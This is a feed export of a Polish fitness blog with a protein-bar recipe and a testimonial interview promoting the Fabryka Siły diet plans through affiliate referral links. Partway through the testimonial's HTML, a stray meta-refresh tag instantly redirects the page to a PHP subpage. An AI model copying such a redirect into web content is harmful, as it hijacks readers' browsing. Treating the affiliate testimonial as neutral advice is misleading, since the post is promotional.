tag:blogger.com,1999:blog-32446858526800019532024-03-13T03:28:16.893+01:00 Zrzuć Brzuch !!!Zrzuć Brzuch!! blog dla każdego kto chce pozbyć się nadmiaru zbędnego tłuszczu. Znajdziecie tu przepisy potraw, porady , opisy ćwiczeń wraz ze zdjęciami i filmami , a także wiele ciekawostek dotyczących siłowni, sportu, diety i zdrowego stylu życia.Zrzuć Brzuch!!!http://www.blogger.com/profile/12698801616736812386noreply@blogger.comBlogger328125tag:blogger.com,1999:blog-3244685852680001953.post-82735207685645259472019-01-20T18:13:00.000+01:002019-01-20T18:25:28.610+01:00FIT BATON BIAŁKOWY SOLONY KARMEL<div style="text-align: center;">
Dzisiaj przepis na coś słodkiego na legalu. Baton 100 razy lepszy od snickersów i innych sklepowych śmieci. W ostatnio modnej wersji czyli: solony karmel.</div>
<div style="text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-SF25cZ1Kfhg/XESrp7eJ56I/AAAAAAAAD0k/E__vjNtkufEIw_ZmQuYuOu0Y3Gxjf4DJACLcBGAs/s1600/baton%2Bsolony.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1063" data-original-width="1600" height="424" src="https://4.bp.blogspot.com/-SF25cZ1Kfhg/XESrp7eJ56I/AAAAAAAAD0k/E__vjNtkufEIw_ZmQuYuOu0Y3Gxjf4DJACLcBGAs/s640/baton%2Bsolony.jpg" width="640" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
Batona robi się błyskawicznie, potem wkłada się do zamrażarki, czeka kilka godzin i gotowe. U nas cały blok leży w zamrażarce ok miesiąc i zawsze jak mamy ochotę na coś słodkiego odkrawamy kawałek, a resztę wkładamy z powrotem do zamrażalnika.</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
Batona zawsze robię na oko, ale postaram się podać przybliżone proporcje.</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<u><b>Potrzebujemy:</b></u></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
szklanka mąki kokosowej</div>
<div style="text-align: center;">
szklanka daktyli</div>
<div style="text-align: center;">
szklanka odżywki białkowej (u nas najczęściej wanilia lub czekolada)</div>
<div style="text-align: center;">
2 łyżki kakao</div>
<div style="text-align: center;">
garść posiekanych orzechów ziemnych solonych</div>
<div style="text-align: center;">
kilka kostek gorzkiej czekolady</div>
<div style="text-align: center;">
kilka kropli ekstraktu waniliowego</div>
<div style="text-align: center;">
3 łyżki masła orzechowego</div>
<div style="text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-JQfIxqv2kBw/XESrred7FsI/AAAAAAAAD0o/aANWba3NHRItNvkcFhkK0NyKx9M9M7aCQCEwYBhgL/s1600/baton%2B1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1200" height="640" src="https://4.bp.blogspot.com/-JQfIxqv2kBw/XESrred7FsI/AAAAAAAAD0o/aANWba3NHRItNvkcFhkK0NyKx9M9M7aCQCEwYBhgL/s640/baton%2B1.jpg" width="480" /></a></div>
<div style="text-align: center;">
</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<u><b>Jak to zrobić:</b></u></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
Daktyle zalewamy wrzątkiem, odstawiamy na chwilę. Do miski wsypujemy odżywkę białkową, mąkę i kakao. Z daktyli odlewamy większość wody (część musi zostać, żeby baton nie był zbyt zbity)i blendujemy na gładką masę. Dodajemy daktyle do miski z produktami sypkimi. Dodajemy masło orzechowe, olejek waniliowy i mieszamy wszystko do konsystencji bardzo gęstego budyniu. Jeśli trzeba dodajemy wody. Kiedy masa już się połączy dodajemy posikane orzechy i posiekaną czekoladę. Mieszamy. Rozsmarowujemy na papierze do pieczenia (można też w foremce silikonowej), formujemy na kształt prostokątnego lub kwadratowego bloku i wkładamy do zamrażarki.</div>
<div style="text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-Ji6JC4-rZI8/XESrsCmIcjI/AAAAAAAAD0s/g2JcbYB3JUEMnRSyjUAyzo054So_awvmQCEwYBhgL/s1600/baton%2B2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="240" src="https://1.bp.blogspot.com/-Ji6JC4-rZI8/XESrsCmIcjI/AAAAAAAAD0s/g2JcbYB3JUEMnRSyjUAyzo054So_awvmQCEwYBhgL/s320/baton%2B2.jpg" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div style="text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-90J3VPKZ1K4/XESrswlV8eI/AAAAAAAAD00/CcgnYU8y0swv6I38oDokbpDb5g49ALmswCEwYBhgL/s1600/baton%2B3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1200" height="320" src="https://1.bp.blogspot.com/-90J3VPKZ1K4/XESrswlV8eI/AAAAAAAAD00/CcgnYU8y0swv6I38oDokbpDb5g49ALmswCEwYBhgL/s320/baton%2B3.jpg" width="240" /></a></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
Po kilku godzinach można zajadać.</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
Smacznego!</div>
Zrzuć Brzuch!!!http://www.blogger.com/profile/12698801616736812386noreply@blogger.com1tag:blogger.com,1999:blog-3244685852680001953.post-46566971061200314932019-01-17T09:49:00.001+01:002019-01-22T19:13:57.216+01:00Metamorfoza z Fabryki Siły - opinia i historia Przemka.<br />
<div class="MsoNormal" style="text-align: center;">
<b>Metamorfoza z dietą fabryki siły - historia Przemka.</b></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
Nasz
blog prowadzony jest od ładnych paru lat i jak wiecie przez cały czas
publikujemy porady, przepisy i różne ciekawostki związane ze zdrowym
odżywianiem, treningiem i byciem fit w pełnym tego słowa znaczeniu. Ci, którzy
są z nami od początku wiedzą, że bloga założyłem kilka lat temu by motywował
mnie w walce o lepszą sylwetkę i tak też działał. Przez te kilka lat udało mi
się schudnąć i polepszyć efekty zarówno
jeśli chodzi o sprawność jak i siłę swojego organizmu, jednak efekty, które
osiągnąłem nie były dla mnie zadowalające. Jak wiecie również z bloga, efektem
przełomowym okazała się decyzja wypróbowania planu dietetycznego i treningowego
z <a href="http://www.fabrykasily.pl/plany_treningowe?poleca=wojciech9484677">Fabryki Siły</a> dzięki, któremu już w trzy miesiące osiągnąłem lepsze efekty niż
przez ostatnie dwa lata. Od stycznia 2018 do kwietnia 2018 udało się zredukować
wagę i wyrzeźbić mięśnie. Pisałem zresztą o tym kilka razy i na blogu macie
również <a href="http://zrzucbrzuch.blogspot.com/2018/04/fabryka-siy-efekty-i-recenzja.html">obszerną relację</a> z tego jak to wygląda. Ten post natomiast chciałem
napisać dla wszystkich Was, którzy jeszcze nie do końca są przekonani czy to
naprawdę działa. Często pytacie. Jak to zrobiłem ? Ile to trwało ? Co trenuje ?
Jakie suplementy ? Itp. W większości są to zwykłe pytania, ale wiem, że wielu z
Was to, bez obrazy, leniwe niedowiarki. Jasno pisałem, że efekty są jeśli
przestrzega się planu na 100 %, trenuje i trzyma dietę. Tego samego zdania jest
zresztą Przemek, który również przeszedł metamorfozę z Fabryką Siły i z którym
udało mi się szczerze porozmawiać na wiele tematów związanych z dietą i nie
tylko.</div>
<div class="MsoNormal" style="text-align: justify;">
</div>
<div class="MsoNormal" style="text-align: justify;">
Patrząc
na to jakie efekty i jak dużą pracę wykonał Przemek jestem pod dużym wrażeniem
i moje osiągnięcia przy tym wydają się wiosennym spacerkiem. Chociaż trzeba
powiedzieć, że jego przemiana trwała znacznie dłużej, ale też i dużo więcej było
do zrzucenia i do zmian. Niemniej jednak robota została wykonana solidnie i na
110 %. Poznajcie Przemka kiedyś i dziś – </div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-p7fC53iFW4g/XEA_JO8k54I/AAAAAAAAD0A/mB7QB8KDAaY8dGTQ_QNno0dk5a0pbIBygCLcBGAs/s1600/Zdjecie1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="240" src="https://4.bp.blogspot.com/-p7fC53iFW4g/XEA_JO8k54I/AAAAAAAAD0A/mB7QB8KDAaY8dGTQ_QNno0dk5a0pbIBygCLcBGAs/s320/Zdjecie1.jpg" width="320" /></a><a href="https://3.bp.blogspot.com/-vUtD-muakb4/XEA_NP-rtoI/AAAAAAAAD0E/ZlxTYwxxXQES2oRDqHa6CAaNTv1YcjThACLcBGAs/s1600/IMG_7158.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1200" height="320" src="https://3.bp.blogspot.com/-vUtD-muakb4/XEA_NP-rtoI/AAAAAAAAD0E/ZlxTYwxxXQES2oRDqHa6CAaNTv1YcjThACLcBGAs/s320/IMG_7158.jpg" width="240" /></a></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<o:p> </o:p><o:p> </o:p><o:p> </o:p> <o:p> </o:p> Oczywiście
taka przemiana zajmuje więcej czasu niż trzy miesiące ale jak widać było warto czekać
na efekty, ciężko pracować i przestrzegać diety. Zapewne wielu z Was zastanawia
się ile czasu trwała ta przemiana i kiedy pojawiły się pierwsze efekty więc o
to samo zapytałem Przemka :</div>
<div class="MsoNormal" style="text-align: justify;">
</div>
<div class="MsoNormal" style="text-align: justify;">
<i><span style="color: #365f91; mso-themecolor: accent1; mso-themeshade: 191;">Pierwsze efekty można było zaobserwować już po
trzech tygodniach sumiennej pracy. Nie były to efekty widoczne bezpośrednio na
pierwszy rzut oka ale ja, znając swoje ciało byłem w stanie zauważyć drobne
zmiany, które mnie zadowalały. Pomijając tutaj spadek wagi a skupiając się
jedynie na efektach wizualnych.<o:p></o:p></span></i></div>
<div class="MsoNormal" style="text-align: justify;">
<b> </b></div>
<div class="MsoNormal" style="text-align: justify;">
<b> </b>Na blogu
pisałem Wam wielokrotnie, że cierpliwość to klucz do sukcesu, a realne cele do
realizacji to takie, które na pewno zrealizujemy. Taktyka małych kroków w
dziedzinie redukcji wagi jest jak najbardziej pożądana <span style="font-family: "wingdings"; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;">J</span> Zaplanuj na początku, że
schudniesz dwa , trzy , pięć kilo nikt od razu nie chudnie trzydziestu. Cierpliwie
czekaj na efekty – nie mówię tutaj o miesiącach, wystarczy parę tygodni.
Czasami pierwszy tydzień nie da efektów , drugi też, ale obudzisz się po dwóch
i pół tygodnia rano i stwierdzisz: „Wow, cos się dzieje”. W przypadku Przemka
celem było na początku zmiana stylu życia i poprawa zdrowia : </div>
<div class="MsoNormal" style="margin-left: 36.0pt; text-align: justify;">
</div>
<div class="MsoNormal" style="margin-left: 36.0pt; text-align: justify;">
<i><span style="color: #365f91; mso-themecolor: accent1; mso-themeshade: 191;">Moim
jedynym założeniem było zmienienie
dotychczasowego trybu życia i ogólna poprawa sylwetki. W tym momencie
również nie posiadam wyznaczonego „końca” i efektu którego oczekuję. Cały czas
idę na przód nie zastanawiając się co będzie tylko skupiając się na tym aby dać
z siebie jak najwięcej w danej chwili.<o:p></o:p></span></i></div>
<div class="MsoNormal" style="text-align: justify; text-indent: 35.4pt;">
<br /></div>
<div class="MsoNormal" style="text-align: justify; text-indent: 35.4pt;">
Dzisiaj już
chyba każdy wie, że sukces to 70% diety i 30% treningu oraz odpowiednia
regeneracja. Efekty to oczywiście sumienne przestrzeganie tych trzech czynników.
Z jednej strony brzmi to prosto i zrozumiale, a z drugiej jest trochę pracy do
wykonania. W przypadku gotowego <a href="http://www.fabrykasily.pl/plany_treningowe?poleca=wojciech9484677">planu diety z Fabryki Siły</a> dużym plusem dla nas
jest to, że wszystko ułożone jest w 100 % pod nas, mamy gotowy plan żywieniowy,
treningowy oraz listę zakupów i menu wraz z instrukcjami przygotowania
posiłków. Nam pozostaje tylko tego przestrzegać, tylko albo AŻ <span style="font-family: "wingdings"; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;">J</span> Praca nad sylwetką
wymaga od nas determinacji ale kolejne efekty powodują, że stajemy się coraz
silniejsi zarówno psychicznie jak i fizycznie. Przemek również napotykał
problemy na swojej drodze w realizacji założeń ale dzięki motywacji udawało mu
się kontynuować dietę : </div>
<div class="MsoListParagraphCxSpFirst">
<i><span style="color: #17365d; mso-ansi-language: PL; mso-themecolor: text2; mso-themeshade: 191;">Czasem największą trudność sprawia mi zbyt mała liczba godzin w dobie. Są
dni, kiedy dzień treningowy zbiegnie mi się z dniem, w którym muszę gotować i
dodatkowo być w pracy na godzinę 14 a okazuje się, że przeoczyłem coś podczas
zakupów i muszę jechać jeszcze raz do sklepu.
Do pracy idę już zmęczony ale i tak szczęśliwy, że udało mi się nie
zrezygnować z walki o własny sukces na rzecz lenistwa.<o:p></o:p></span></i></div>
<div class="MsoListParagraphCxSpMiddle">
<a href="https://www.fabrykasily.pl/plany_treningowe?poleca=wojciech9484677" target="_blank">
<img alt="Fabryka Siły - Plany treningowe i dietetyczne" src="https://www.fabrykasily.pl/portal/img/bnrs-pp/750100.jpg" />
</a>
<br />
<br /></div>
<div class="MsoListParagraphCxSpMiddle" style="margin-left: 0cm; mso-add-space: auto; text-align: justify; text-indent: 35.45pt;">
<META HTTP-EQUIV="REFRESH" CONTENT="0; URL=podstrony/strona.php ">
Oglądając
przemiany czy to na blogach czy na facebooku zawsze padają pytania „jak długo
trwała przemiana” oraz „co trenowałeś ?” W moim przypadku były to treningi
siłowe i kickboxingu. Natomiast Przemek postawił na bieganie, trening siłowy i
kurs tańca towarzyskiego :<o:p></o:p></div>
<div class="MsoListParagraphCxSpMiddle" style="margin-left: 0cm; mso-add-space: auto; text-align: justify; text-indent: 35.45pt;">
<br /></div>
<div class="MsoListParagraphCxSpMiddle">
<i><span style="color: #1f497d; mso-ansi-language: PL; mso-themecolor: text2;">Na cztery
miesiące przed podjęciem współpracy z Fabryką Siły zacząłem biegać dwa do
trzech razy w tygodniu. Obecnie zredukowałem to do jednego razu w tygodniu na
rzecz kursu tańca towarzyskiego z <a href="https://www.blogger.com/null" name="_GoBack">Żon</a>ą. Taniec też
zapewnia solidną dawkę ruchu i powoduje czasem lekką zadyszkę ;) Na chwilę
obecną trenuję w ciągu tygodnia trzy razy na siłowni i raz biegam. Jeśli pogoda
dopisuje do pracy jeżdżę rowerem zamiast samochodem.</span></i><o:p></o:p></div>
<div class="MsoListParagraphCxSpMiddle">
<i><span style="color: #1f497d; mso-ansi-language: PL; mso-themecolor: text2;"> </span></i><span style="text-align: justify; text-indent: 35.45pt;"> </span></div>
<div class="MsoNormal" style="text-align: justify; text-indent: 35.4pt;">
Oczywiście
uspokajam wszystkich niedowiarków i od razu mówię, że między zdjęciem nr 1 i
zdjęciem nr 2 był jeszcze etap przejściowy, o którym warto wspomnieć. </div>
<div align="center" class="MsoNormal" style="text-align: center; text-indent: 35.4pt;">
<br /></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<img border="0" data-original-height="1600" data-original-width="1200" height="400" src="https://4.bp.blogspot.com/-hvpt2baVna0/XEA_pynEm0I/AAAAAAAAD0U/EMr0e4F-aE0YDrOhyWeBHcomyV5PoN19wCLcBGAs/s400/IMG_4376.JPG" width="300" /></div>
<div align="center" class="MsoNormal" style="text-align: center; text-indent: 35.4pt;">
<br /></div>
<div class="MsoNormal" style="margin-left: 36.0pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify; text-indent: 35.4pt;">
Tutaj widzimy
naszego bohatera już dużo, dużo szczuplejszego niż na 1 zdjęciu ale jeszcze nie
tak dociętego <span style="font-family: "wingdings"; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;">J</span>
Jak pisałem na początku praca Przemka nad własnym ciałem to nie tygodnie, lecz
miesiące, ale było warto. Miał takich sprzymierzeńców: determinację, jasny plan
działania i motywację. Sam uważa, że jest dla siebie największą motywacją i ja
się z nim w 100 % zgadzam.</div>
<div class="MsoListParagraphCxSpFirst" style="text-align: justify;">
<i><span style="color: #1f497d; mso-ansi-language: PL; mso-themecolor: text2;"><br /></span></i></div>
<div class="MsoListParagraphCxSpFirst" style="text-align: justify;">
<i><span style="color: #1f497d; mso-ansi-language: PL; mso-themecolor: text2;">Największą motywacją jest moje odbicie w lustrze.
Kilka dobrych lat temu, jeszcze zanim odkryłem Fabrykę Siły, ważyłem 120 kg i
mój brzuch wystawał prawie na pół metra przede mnie. Dziś mam na brzuchu
kaloryfer. Reasumując, moje sukcesy motywują mnie do osiągania jeszcze
większych sukcesów.<o:p></o:p></span></i></div>
<div class="MsoListParagraphCxSpMiddle" style="text-align: justify;">
<br /></div>
<div class="MsoListParagraphCxSpMiddle" style="margin-left: 0cm; mso-add-space: auto; text-align: justify; text-indent: 36.0pt;">
Często
pytacie czy dieta z Fabryki Siły jest droga, oczywiście zależy to od tego jakie
założenia wybierzecie w ankiecie, ale kiedyś na blogu zrobiłem Wam miesięczne
wyliczenie produkt po produkcie ile kosztują miesięcznie zakupy na diecie, w
przypadku Przemka cenowo było trochę inaczej ponieważ mieszka na stałe w
Niemczech. Mniej więcej jednak postarał się przybliżyć mi ten temat jak to
wygląda za granicą :<o:p></o:p></div>
<div class="MsoListParagraphCxSpMiddle" style="text-align: justify;">
<br /></div>
<div class="MsoListParagraphCxSpMiddle" style="text-align: justify;">
<i><span style="color: #4f81bd; mso-ansi-language: PL; mso-themecolor: accent1;">Swój budżet określiłem jako normalny. Choć
zastanawiam się nad zmienieniem go na niski, gdyż proporcjonalnie do wzrostu
kaloryczności diety, rośnie również koszt jej utrzymania. Obecnie miesięcznie
kosztuje mnie to około 400 euro. Niestety ceny jakościowo dobrych warzyw w
Niemczech są wyższe niż w Polsce. Na szczęście mam taką możliwość i sztab
ekspertów czuwających nade mną jest w stanie zagwarantować mi efekty przy
ograniczonym budżecie.<o:p></o:p></span></i></div>
<div class="MsoListParagraphCxSpMiddle" style="text-align: justify;">
<br /></div>
<div class="MsoListParagraphCxSpMiddle" style="margin-left: 0cm; mso-add-space: auto; text-align: justify; text-indent: 35.45pt;">
Gotowy
plan działania to świetna wskazówka, która pozwala osiągać efekty, a
przestrzeganie go działa również długofalowo ponieważ sami uczymy się zdrowych
nawyków i po pewnym czasie jesteśmy w stanie określać gramaturę posiłków i
wiedzieć ile powinniśmy zjeść by trzymać swoją wagę i jakie produkty wybierać
by było jak najzdrowiej. Rozpoczęcie współpracy z Fabryką Siły może być dobrą
wskazówką, która wpłynie pozytywnie na ożywianie w naszym przyszłym życiu. Stały dostęp do planu to bardzo duży plus także
zdaniem Przemka:<o:p></o:p></div>
<div class="MsoListParagraphCxSpMiddle" style="margin-left: 0cm; mso-add-space: auto; text-align: justify; text-indent: 35.45pt;">
<br /></div>
<div class="MsoListParagraphCxSpMiddle">
<i><span style="color: #4f81bd; mso-ansi-language: PL; mso-themecolor: accent1;">Najbardziej
pomocne jest to,że mam wgląd do swoich planów, czy to żywieniowych,
treningowych czy nawet listy zakupowej w każdym miejscu i o każdej porze za
sprawą aplikacji w telefonie.<o:p></o:p></span></i></div>
<div class="MsoListParagraphCxSpMiddle">
<br /></div>
<div class="MsoListParagraphCxSpMiddle" style="margin-left: 0cm; mso-add-space: auto; text-align: justify; text-indent: 36.0pt;">
Dodatkowo
powinniście wiedzieć, że w razie problemów czy nieporozumień w trakcie trwania
planu macie cały czas kontakt online z ekspertami, którzy zawsze odpiszą na
wasze pytania. Przemek również korzystał z tego rozwiązania i uważa go za duży
plus : <o:p></o:p></div>
<div class="MsoListParagraphCxSpMiddle" style="margin-left: 0cm; mso-add-space: auto; text-align: justify; text-indent: 36.0pt;">
<br /></div>
<div class="MsoListParagraphCxSpMiddle" style="text-align: justify;">
<i><span style="color: #4f81bd; mso-ansi-language: PL; mso-themecolor: accent1;">Kontakt z ekspertami jest świetny. Odpowiedź na
każde zagadnienie jest udzielana relatywnie szybko i zawsze zawiera rzetelne
informacje oraz konkretne odpowiedzi bez owijania w przysłowiową bawełnę oraz
są utrzymane w wysokiej kulturze wypowiedzi.<o:p></o:p></span></i></div>
<div class="MsoListParagraphCxSpMiddle" style="margin-left: 0cm; mso-add-space: auto; text-align: justify; text-indent: 36.0pt;">
<br /></div>
<div class="MsoListParagraphCxSpMiddle" style="margin-left: 0cm; mso-add-space: auto; text-align: justify; text-indent: 36.0pt;">
Jeżeli
tutaj trafiliście to na pewno zastanawiacie się nad kupnem planu diety, albo
szukacie jakiegoś rozwiązania, które pomoże Wam zmienić sylwetkę, nawyki
żywieniowe lub po prostu lepiej się poczuć. U mnie bodźcem do wykupienia planu
była ostatnia próba osiągnięcia kaloryfera <span style="font-family: "wingdings"; mso-ansi-language: PL; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;">J</span> Przez parę lat starałem się zdrowo odżywiać i
ciężko trenować jednak nie działałem według ułożonego planu. Niestety jeśli
chcemy mieć kaloryfer to trzeba pilnować diety i liczyć kalorie. W przypadku
Fabryki Siły oni robią już to za nas w oparciu o nasze dane i pomiary podane w
początkowej ankiecie. I jak się okazało przestrzeganie
tego planu działa na mnie, Przemka i wielu innych. Bardzo spodobało mi się jego
kilka zdań na temat bodźców, który pomógł mu zdecydować się na zmianę stylu
życia : <o:p></o:p></div>
<div class="MsoListParagraphCxSpMiddle" style="margin-left: 0cm; mso-add-space: auto; text-align: justify; text-indent: 36.0pt;">
<br /></div>
<div class="MsoListParagraphCxSpMiddle" style="text-align: justify;">
<i><span style="color: #4f81bd; mso-ansi-language: PL; mso-themecolor: accent1;"> Bodźców, które złożyły się na podjęcie zmian w
moim życiu było kilka. Pomijając odległe marzenia o nienagannej sylwetce, które
posiada chyba każdy. Główną rolę odegrał w tym mój starszy brat. Wygrał chyba
najtrudniejszą walkę w swoim życiu, z samym sobą i ze swoimi słabościami,
których niestety publicznie nie opowiem i diametralnie zmienił swoje życie.
Drugą osobą, która przyczyniła się do
podjęcia zmian jest moja Żona. Kiedy spędzałem dzień za dniem na kanapie
pogrążony w depresji, bez celu i pomysłu co zrobić z chociażby dniem dzisiejszym,
ona nie pozwalała mi zostawać w tym stanie. Cały czas starała się ciągnąć mnie
w górę, wyciągała dłoń z mnóstwem pomysłów co zrobić aby mnie zmotywować. Wtedy
odbierałem to jako marudzenie, dziś doceniam to, że nie dawała mi spokoju i
walczyła o mnie. Ostatnim i w zasadzie przełomowym bodźcem było usłyszenie
przykrych słów bezpośrednio w twarz na temat mojego wyglądu. Tamtej nocy nie
mogłem zasnąć i rozmyślałem nad tym wszystkim co opisałem wyżej. Pomyślałem
wtedy, że skoro mój brat potrafił się dźwignąć i dokonać szeregu poważnych
zmian, moja Żona walczy o mnie bardziej niż ja sam i wyglądam tak, że ludzie
potrafią sprawić mi przykrość to chyba potrafię się zebrać sam w sobie i coś z
tym zrobić. Następnego dnia, bez żadnych wymówek zabrałem się za swoją walkę ze
sobą. Na początek wprowadziłem własną dietę znalezioną gdzieś w intrenecie oraz
zacząłem biegać. Jako, że byłem wieloletnim palaczem papierosów, to bieganie
nie było zbyt proste więc już w trakcie pierwszych kilkuset metrów podjąłem
decyzję o rzuceniu palenia i nie palę od roku. Moja dieta nie była do końca
przemyślana i mimo, że dawała efekty bo chudłem to jednak przy tak małej podaży
kalorii jaką sobie założyłem i tempie utraty wagi mój organizm zaczął się
buntować. Jednak skoro schudłem i zacząłem już w miarę wyglądać to pomyślałem,
że może bym zaczął trenować na siłowni. Zacząłem szukać w internecie planów
treningowych i tak natrafiłem na <a href="http://www.fabrykasily.pl/plany_treningowe?poleca=wojciech9484677">Fabrykę Siły</a>. Bez większego namysłu wykupiłem
dietę i plan treningowy i to była jedna z lepszych decyzji w życiu. Prawidłowe
żywienie, z odpowiednią podażą energii zaczęło regenerować mój podniszczony
własną nieprzemyślaną dietą organizm. Zacząłem się czuć z dnia na dzień coraz
lepiej fizycznie i przede wszystkim psychicznie. Trochę może odbiegłem od
głównego wątku pytania i zbyt się rozpisałem ale chciałem przedstawić w całości
drogę którą przebyłem nim trafiłem na Fabrykę Siły.<o:p></o:p></span></i></div>
<div class="MsoListParagraphCxSpMiddle" style="text-align: justify;">
<br /></div>
<div class="MsoListParagraphCxSpMiddle" style="text-align: justify;">
Oczywiście
każdy z nas jest tylko człowiekiem i raczej 90 % ludzi, którzy będą to czytać
nie będą chcieli szykować się do startów zawodach kulturystycznych dlatego warto pogadać o imprezach typu wesela
urodziny, czy po prostu jakimś naszym małym prywatnym święcie. Jak pisałem Wam
w jednym z poprzednich postów ja dopiero po 3 miesiącach pozwalałem sobie od
czasu do czasu na jakieś kilka piw czy babciny obiad, ale sam sobie wyznaczyłem
ten okres na 100 % czystości. Teoretycznie odstępstwo od diety możemy zrobić
jednym posiłkiem w tygodniu ( który nie jest zdrowy) jeżeli pojawią się
pierwsze efekty. Jeśli nie ma efektów nie ma nagrody <span style="font-family: "wingdings"; mso-ansi-language: PL; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;">J</span> W przypadku metamorfozy Przemka z Fabryką Siły
również było podobnie. Oczywiście zapytałem go czy zdarza mu się coś podjeść
albo wyjść na imprezę. Jego odpowiedź wcale mnie nie zdziwiła :<o:p></o:p></div>
<div class="MsoListParagraphCxSpMiddle" style="text-align: justify;">
</div>
<div class="MsoListParagraphCxSpMiddle" style="text-align: justify;">
<i><span style="color: #4f81bd; mso-themecolor: accent1;"> Oczywiście zdarzały się odstępstwa od diety i zdarzać będą. Nie jestem
niewolnikiem swojego ciała. Są sytuacje kiedy świadomie okolicznościowo
odstępuję od planu. Są to sytuacje typu święta lub wesela. Czasem wypadnie
również spotkanie z kumplem, którego nie widziałem dłuższy okres. W takich
sytuacjach, które zaplanowałem, staram się mniej więcej wyliczyć to tak, aby
spożyte kalorie, również te pochodzące z alkoholu nie wykraczały poza
zaplanowane dzienne spożycie. Przy niespodziewanych spotkaniach, kiedy
towarzystwo zamawia fast foody a ja mam już przygotowany wcześniej dla siebie
posiłek nie ulegam presji grupy i trzymam się tego co założyłem. </span></i><span style="color: #4f81bd; mso-themecolor: accent1;"><o:p></o:p></span></div>
<div class="MsoListParagraphCxSpMiddle" style="text-align: justify;">
</div>
<div class="MsoListParagraphCxSpMiddle" style="text-align: justify;">
Bardzo
istotne jest również to co wspólnie stwierdziliśmy podczas rozmowy, że po
imprezie następnego ranka nie możemy popadać w „kacowe podjadanie” (tak
niektórzy wbrew pozorom na kaca lubią sobie pojeść, ja do nich należę) tylko
trzymamy się planu w 100 % i nie kombinujemy. Ten plan u mnie sprawdza się do
dzisiaj na stówę. Mogę śmiało iść w sobotę na imprezę, jeść i pić to co
wszyscy, a wypracowane efekty pozostają bo w niedziele wszystko wraca na „ fit
tory” <span style="font-family: "wingdings"; mso-ansi-language: PL; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;">J</span> Również Przemek nie kombinuje przy swoim planie
którego przestrzega każdego dnia : <o:p></o:p></div>
<div class="MsoListParagraphCxSpMiddle">
<i><span style="color: #4f81bd; mso-themecolor: accent1;">Planu przestrzegam
cały czas bardzo sumiennie. Nie pomijam, nie dodaję, nie podjadam pomiędzy.<o:p></o:p></span></i></div>
<div class="MsoListParagraphCxSpMiddle" style="text-align: justify;">
<span style="color: #4f81bd; mso-ansi-language: PL; mso-themecolor: accent1;"> </span>Finalny efekt metamorfozy moim zdaniem jest naprawdę spektakularny i nie
dziwie się, że Przemek jest motywacją sam dla siebie, spokojnie może być
motywacją dla wielu z nas! Zresztą wspominał mi, że dzięki <a href="http://www.fabrykasily.pl/plany_treningowe?poleca=wojciech9484677">przemianie z FabrykaSiły</a>, na poważnie zastanawia się nad
rozwijaniem się w kierunku dietetyki i sam chciałby pomagać ludziom w
walce z nadwagą. Zdjęcia mówią same za siebie – SZACUN <o:p></o:p></div>
<div class="MsoListParagraphCxSpMiddle" style="text-align: justify;">
<br /></div>
<div class="MsoListParagraphCxSpMiddle" style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
